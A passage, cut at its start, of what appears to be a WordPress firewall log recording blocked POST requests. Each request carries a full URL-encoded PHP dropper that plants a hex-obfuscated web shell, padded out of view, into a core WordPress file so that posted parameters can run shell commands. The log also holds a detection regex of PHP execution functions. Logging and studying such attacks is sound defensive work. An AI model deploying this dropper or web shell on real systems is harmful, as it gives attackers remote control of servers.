20%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252763%2527.%2524dchunk6.%2524dchunk15.%252773%2527.%252765%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252763%2527.%25276f%2527.%25276e%2527.%2524dchunk16.%2524dchunk17.%2524dchunk13.%25275f%2527.%2524dchunk4.%2524dchunk11.%2524dchunk14.%252761%2527.%252767%2527.%2524dchunk5.%2524dchunk18%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524request_approved1%2529%2529%257B%2524request_approved1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved2%2529%2529%257Bprint%2520%2524request_approved2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved3%2529%2529%257B%2524request_approved3%2528%2524config_manager%252C%2524reference_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524reference_flag%2529%253B%257Delseif%2528function_exists%2528%2524request_approved4%2529%2529%257B%2524request_approved4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved5%2529%2526%2526function_exists%2528%2524request_approved6%2529%2526%2526function_exists%2528%2524request_approved7%2529%2529%257B%2524res_sym%253D%2524request_approved5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524res_sym%2529%257B%2524binding_elem%253D%2524request_approved6%2528%2524res_sym%2529%253B%2524request_approved7%2528%2524res_sym%2529%253Bprint%2520%2524binding_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:01:23","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-statuses-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dchunk1%2520%253D%2520%252779%2527%253B%2524dchunk2%2520%253D%2520%252773%2527%253B%2524dchunk3%2520%253D%2520%252774%2527%253B%2524dchunk4%2520%253D%2520%25276d%2527%253B%2524dchunk5%2520%253D%2520%252765%2527%253B%2524dchunk6%2520%253D%2520%25276c%2527%253B%2524dchunk7%2520%253D%2520%252778%2527%253B%2524dchunk8%2520%253D%2520%252763%2527%253B%2524dchunk9%2520%253D%2520%252770%2527%253B%2524dchunk10%2520%253D%2520%252775%2527%253B%2524dchunk11%2520%253D%2520%252761%2527%253B%2524dchunk12%2520%253D%2520%25275f%2527%253B%2524dchunk13%2520%253D%2520%252767%2527%253B%2524dchunk14%2520%253D%2520%25276e%2527%253B%2524dchunk15%2520%253D%2520%25276f%2527%253B%2524dchunk16%2520%253D%2520%252766%2527%253B%2524dchunk17%2520%253D%2520%252769%2527%253B%2524dchunk18%2520%253D%2520%252772%2527%253B%2524request_approved1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524dchunk1.%2524dchunk2.%2524dchunk3.%252765%2527.%2524dchunk4%2529%253B%2524request_approved2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252768%2527.%2524dchunk5.%25276c%2527.%2524dchunk6.%25275f%2527.%2524dchunk5.%2524dchunk7.%2524dchunk5.%2524dchunk8%2529%253B%2524request_approved3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk5.%2524dchunk7.%252765%2527.%252763%2527%2529%253B%2524request_approved4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252761%2527.%2524dchunk2.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524dchunk10%2529%253B%2524request_approved5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524dchunk9.%2524dchunk5.%25276e%2527%2529%253B%2524request_approved6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252774%2527.%252772%2527.%252765%2527.%2524dchunk11.%2524dchunk4.%2524dchunk12.%2524dchunk13.%2524dchunk5.%2524dchunk3.%2524dchunk12.%252763%2527.%25276f%2527.%2524dchunk14.%2524dchunk3.%252765%2527.%2524dchunk14.%252774%2527.%2524dchunk2%2529%253B%2524request_approved7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252763%2527.%2524dchunk6.%2524dchunk15.%252773%2527.%252765%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252763%2527.%25276f%2527.%25276e%2527.%2524dchunk16.%2524dchunk17.%2524dchunk13.%25275f%2527.%2524dchunk4.%2524dchunk11.%2524dchunk14.%252761%2527.%252767%2527.%2524dchunk5.%2524dchunk18%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524request_approved1%2529%2529%257B%2524request_approved1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved2%2529%2529%257Bprint%2520%2524request_approved2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved3%2529%2529%257B%2524request_approved3%2528%2524config_manager%252C%2524reference_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524reference_flag%2529%253B%257Delseif%2528function_exists%2528%2524request_approved4%2529%2529%257B%2524request_approved4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved5%2529%2526%2526function_exists%2528%2524request_approved6%2529%2526%2526function_exists%2528%2524request_approved7%2529%2529%257B%2524res_sym%253D%2524request_approved5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524res_sym%2529%257B%2524binding_elem%253D%2524request_approved6%2528%2524res_sym%2529%253B%2524request_approved7%2528%2524res_sym%2529%253Bprint%2520%2524binding_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD3VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:6579\n\nCr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-statuses-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dchunk1%2520%253D%2520%252779%2527%253B%2524dchunk2%2520%253D%2520%252773%2527%253B%2524dchunk3%2520%253D%2520%252774%2527%253B%2524dchunk4%2520%253D%2520%25276d%2527%253B%2524dchunk5%2520%253D%2520%252765%2527%253B%2524dchunk6%2520%253D%2520%25276c%2527%253B%2524dchunk7%2520%253D%2520%252778%2527%253B%2524dchunk8%2520%253D%2520%252763%2527%253B%2524dchunk9%2520%253D%2520%252770%2527%253B%2524dchunk10%2520%253D%2520%252775%2527%253B%2524dchunk11%2520%253D%2520%252761%2527%253B%2524dchunk12%2520%253D%2520%25275f%2527%253B%2524dchunk13%2520%253D%2520%252767%2527%253B%2524dchunk14%2520%253D%2520%25276e%2527%253B%2524dchunk15%2520%253D%2520%25276f%2527%253B%2524dchunk16%2520%253D%2520%252766%2527%253B%2524dchunk17%2520%253D%2520%252769%2527%253B%2524dchunk18%2520%253D%2520%252772%2527%253B%2524request_approved1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524dchunk1.%2524dchunk2.%2524dchunk3.%252765%2527.%2524dchunk4%2529%253B%2524request_approved2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252768%2527.%2524dchunk5.%25276c%2527.%2524dchunk6.%25275f%2527.%2524dchunk5.%2524dchunk7.%2524dchunk5.%2524dchunk8%2529%253B%2524request_approved3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk5.%2524dchunk7.%252765%2527.%252763%2527%2529%253B%2524request_approved4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252761%2527.%2524dchunk2.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524dchunk10%2529%253B%2524request_approved5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524dchunk9.%2524dchunk5.%25276e%2527%2529%253B%2524request_approved6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252774%2527.%252772%2527.%252765%2527.%2524dchunk11.%2524dchunk4.%2524dchunk12.%2524dchunk13.%2524dchunk5.%2524dchunk3.%2524dchunk12.%252763%2527.%25276f%2527.%2524dchunk14.%2524dchunk3.%252765%2527.%2524dchunk14.%252774%2527.%2524dchunk2%2529%253B%2524request_approved7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252763%2527.%2524dchunk6.%2524dchunk15.%252773%2527.%252765%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252763%2527.%25276f%2527.%25276e%2527.%2524dchunk16.%2524dchunk17.%2524dchunk13.%25275f%2527.%2524dchunk4.%2524dchunk11.%2524dchunk14.%252761%2527.%252767%2527.%2524dchunk5.%2524dchunk18%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524request_approved1%2529%2529%257B%2524request_approved1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved2%2529%2529%257Bprint%2520%2524request_approved2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved3%2529%2529%257B%2524request_approved3%2528%2524config_manager%252C%2524reference_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524reference_flag%2529%253B%257Delseif%2528function_exists%2528%2524request_approved4%2529%2529%257B%2524request_approved4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved5%2529%2526%2526function_exists%2528%2524request_approved6%2529%2526%2526function_exists%2528%2524request_approved7%2529%2529%257B%2524res_sym%253D%2524request_approved5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524res_sym%2529%257B%2524binding_elem%253D%2524request_approved6%2528%2524res_sym%2529%253B%2524request_approved7%2528%2524res_sym%2529%253Bprint%2520%2524binding_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:01:31","50.6.7.129","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ty:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-statuses-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dchunk1%2520%253D%2520%252779%2527%253B%2524dchunk2%2520%253D%2520%252773%2527%253B%2524dchunk3%2520%253D%2520%252774%2527%253B%2524dchunk4%2520%253D%2520%25276d%2527%253B%2524dchunk5%2520%253D%2520%252765%2527%253B%2524dchunk6%2520%253D%2520%25276c%2527%253B%2524dchunk7%2520%253D%2520%252778%2527%253B%2524dchunk8%2520%253D%2520%252763%2527%253B%2524dchunk9%2520%253D%2520%252770%2527%253B%2524dchunk10%2520%253D%2520%252775%2527%253B%2524dchunk11%2520%253D%2520%252761%2527%253B%2524dchunk12%2520%253D%2520%25275f%2527%253B%2524dchunk13%2520%253D%2520%252767%2527%253B%2524dchunk14%2520%253D%2520%25276e%2527%253B%2524dchunk15%2520%253D%2520%25276f%2527%253B%2524dchunk16%2520%253D%2520%252766%2527%253B%2524dchunk17%2520%253D%2520%252769%2527%253B%2524dchunk18%2520%253D%2520%252772%2527%253B%2524request_approved1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524dchunk1.%2524dchunk2.%2524dchunk3.%252765%2527.%2524dchunk4%2529%253B%2524request_approved2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252768%2527.%2524dchunk5.%25276c%2527.%2524dchunk6.%25275f%2527.%2524dchunk5.%2524dchunk7.%2524dchunk5.%2524dchunk8%2529%253B%2524request_approved3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk5.%2524dchunk7.%252765%2527.%252763%2527%2529%253B%2524request_approved4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252761%2527.%2524dchunk2.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524dchunk10%2529%253B%2524request_approved5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524dchunk9.%2524dchunk5.%25276e%2527%2529%253B%2524request_approved6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252774%2527.%252772%2527.%252765%2527.%2524dchunk11.%2524dchunk4.%2524dchunk12.%2524dchunk13.%2524dchunk5.%2524dchunk3.%2524dchunk12.%252763%2527.%25276f%2527.%2524dchunk14.%2524dchunk3.%252765%2527.%2524dchunk14.%252774%2527.%2524dchunk2%2529%253B%2524request_approved7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252763%2527.%2524dchunk6.%2524dchunk15.%252773%2527.%252765%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252763%2527.%25276f%2527.%25276e%2527.%2524dchunk16.%2524dchunk17.%2524dchunk13.%25275f%2527.%2524dchunk4.%2524dchunk11.%2524dchunk14.%252761%2527.%252767%2527.%2524dchunk5.%2524dchunk18%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524request_approved1%2529%2529%257B%2524request_approved1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved2%2529%2529%257Bprint%2520%2524request_approved2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved3%2529%2529%257B%2524request_approved3%2528%2524config_manager%252C%2524reference_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524reference_flag%2529%253B%257Delseif%2528function_exists%2528%2524request_approved4%2529%2529%257B%2524request_approved4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved5%2529%2526%2526function_exists%2528%2524request_approved6%2529%2526%2526function_exists%2528%2524request_approved7%2529%2529%257B%2524res_sym%253D%2524request_approved5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524res_sym%2529%257B%2524binding_elem%253D%2524request_approved6%2528%2524res_sym%2529%253B%2524request_approved7%2528%2524res_sym%2529%253Bprint%2520%2524binding_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIUxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:6579\n\nTy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-statuses-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dchunk1%2520%253D%2520%252779%2527%253B%2524dchunk2%2520%253D%2520%252773%2527%253B%2524dchunk3%2520%253D%2520%252774%2527%253B%2524dchunk4%2520%253D%2520%25276d%2527%253B%2524dchunk5%2520%253D%2520%252765%2527%253B%2524dchunk6%2520%253D%2520%25276c%2527%253B%2524dchunk7%2520%253D%2520%252778%2527%253B%2524dchunk8%2520%253D%2520%252763%2527%253B%2524dchunk9%2520%253D%2520%252770%2527%253B%2524dchunk10%2520%253D%2520%252775%2527%253B%2524dchunk11%2520%253D%2520%252761%2527%253B%2524dchunk12%2520%253D%2520%25275f%2527%253B%2524dchunk13%2520%253D%2520%252767%2527%253B%2524dchunk14%2520%253D%2520%25276e%2527%253B%2524dchunk15%2520%253D%2520%25276f%2527%253B%2524dchunk16%2520%253D%2520%252766%2527%253B%2524dchunk17%2520%253D%2520%252769%2527%253B%2524dchunk18%2520%253D%2520%252772%2527%253B%2524request_approved1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524dchunk1.%2524dchunk2.%2524dchunk3.%252765%2527.%2524dchunk4%2529%253B%2524request_approved2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252768%2527.%2524dchunk5.%25276c%2527.%2524dchunk6.%25275f%2527.%2524dchunk5.%2524dchunk7.%2524dchunk5.%2524dchunk8%2529%253B%2524request_approved3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk5.%2524dchunk7.%252765%2527.%252763%2527%2529%253B%2524request_approved4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252761%2527.%2524dchunk2.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524dchunk10%2529%253B%2524request_approved5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524dchunk9.%2524dchunk5.%25276e%2527%2529%253B%2524request_approved6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252774%2527.%252772%2527.%252765%2527.%2524dchunk11.%2524dchunk4.%2524dchunk12.%2524dchunk13.%2524dchunk5.%2524dchunk3.%2524dchunk12.%252763%2527.%25276f%2527.%2524dchunk14.%2524dchunk3.%252765%2527.%2524dchunk14.%252774%2527.%2524dchunk2%2529%253B%2524request_approved7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252763%2527.%2524dchunk6.%2524dchunk15.%252773%2527.%252765%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252763%2527.%25276f%2527.%25276e%2527.%2524dchunk16.%2524dchunk17.%2524dchunk13.%25275f%2527.%2524dchunk4.%2524dchunk11.%2524dchunk14.%252761%2527.%252767%2527.%2524dchunk5.%2524dchunk18%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524request_approved1%2529%2529%257B%2524request_approved1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved2%2529%2529%257Bprint%2520%2524request_approved2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved3%2529%2529%257B%2524request_approved3%2528%2524config_manager%252C%2524reference_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524reference_flag%2529%253B%257Delseif%2528function_exists%2528%2524request_approved4%2529%2529%257B%2524request_approved4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved5%2529%2526%2526function_exists%2528%2524request_approved6%2529%2526%2526function_exists%2528%2524request_approved7%2529%2529%257B%2524res_sym%253D%2524request_approved5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524res_sym%2529%257B%2524binding_elem%253D%2524request_approved6%2528%2524res_sym%2529%253B%2524request_approved7%2528%2524res_sym%2529%253Bprint%2520%2524binding_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
